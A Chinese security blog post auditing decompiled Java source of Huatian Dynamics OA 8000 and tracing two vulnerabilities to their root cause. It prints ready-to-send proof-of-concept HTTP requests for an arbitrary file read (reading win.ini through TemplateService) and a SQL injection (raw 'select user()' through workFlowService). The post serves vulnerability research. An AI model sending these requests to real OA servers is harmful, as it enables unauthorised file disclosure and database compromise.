Java代码审计 | 华天动力OA漏洞分析两则
前言
偶然获得了华天OA的一部分源码,查看对应的版本为华天动力OA 8000,这里结合漏洞来分析下如何根据茫茫大海般的源码,来分析漏洞产生点。我选择了两个漏洞来结合源码分析。
其一
第一个是任意文件读取漏洞,对应的poc如下:
POST /OAapp/bfapp/buffalo/TemplateService HTTP/1.1 Content-Type: text/xml User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Host: Content-Length: 101 Expect: 100-continue Connection: close <buffalo-call> <method>getHtmlContent</method> <string>c:/windows/win.ini</string> </buffalo-call>
请求路径bfapp/buffalo是后端服务的地址,无法在静态路径中找到对应方法
所以需要在配置文件buffalo-service.properties里面查询对应的Service名称和包名称,TemplateService对应的包名称如下找到对应的jar包进行反编译,对应代码如下
对应的方法如下图所示,名称为getHtmlContent
/* */ public String getHtmlContent(String htmlFileName) { /* 768 */ if (htmlFileName == null) return null; /* 769 */ return OaTools.getFileContent(htmlFileName, this.sysInfo.getCharSet()); /* */ }
其中调用的OaTools的方法导入自这个包
对应jar包为oaapp_base.jar,但是没有找到这个方法。搜索了一下,最后在cnpower.jar的OaBaseTools里面找到了同样的getFileContent方法
代码如下:
public static String getFileContent(String paramString1, String paramString2) { File file = new File(paramString1); try { FileInputStream fileInputStream = new FileInputStream(file); byte[] arrayOfByte = new byte[fileInputStream.available()]; fileInputStream.read(arrayOfByte); fileInputStream.close(); return (paramString2 == null) ? new String(arrayOfByte) : new String(arrayOfByte, paramString2); } catch (Exception exception) { exception.printStackTrace(); return null; } }
其中对应的charSet方法为获取utf8编码
方法中第一个传参为文件路径,第二个传参为编码,最后返回文件内容并判断是否编码,然后就能读取任意文件内容
其二
另外一个是SQL注入漏洞,poc对应如下:
POST /OAapp/bfapp/buffalo/workFlowService HTTP/1.1 Host: xx.xx.xx.xx Accept-Encoding: identity Content-Length: 103 Accept-Language: zh-CN,zh;q=0.8 Accept: */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3 Connection: keep-alive Cache-Control: max-age=0 <buffalo-call> <method>getDataListForTree</method> <string>select user()</string> </buffalo-call>
继续看下workFlowService对应的包
方法名称知道了,但是不知道在哪个jar包中,findstr搜索方法
对应的jar包为appservice.jar
进到代码中查看对应的method为getDataListForTree,直接搜索找到方法源码
/* */ public List getDataListForTree(String sql) { /* 927 */ List<HashMap> dataList = null; /* */ try { /* 929 */ dataList = getDatas(sql); /* 930 */ if (dataList == null || dataList.size() == 0) return dataList; /* 931 */ } catch (OaException e) { /* 932 */ e.printStackTrace(); /* */ }
传参字符串包含SQL语句,调用getDatas(sql)方法,追踪getDatas方法
/* */ public List getDatas(String sql) throws OaException { /* 889 */ if (sql == null || "".equals(sql)) return new ArrayList(); /* */ /* 891 */ Session hiSession = null; /* */ /* */ try { /* 894 */ hiSession = TransactionManager.getInstance().getCurrentSession(); /* 895 */ HiOaBaseSQLManager event = new HiOaBaseSQLManager(hiSession); /* 896 */ return event.executeQuerySQL(sql); /* 897 */ } catch (Exception e) { /* 898 */ e.printStackTrace(); /* 899 */ throw new OaException(e.getMessage()); /* */ } finally { /* */ /* 902 */ if (hiSession != null) { /* 903 */ hiSession.close(); /* */ } /* */ } /* */ }
此处是直接执行了SQL语句,因此造成了SQL注入。至此可以看出漏洞利用都十分的简单
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
文章目录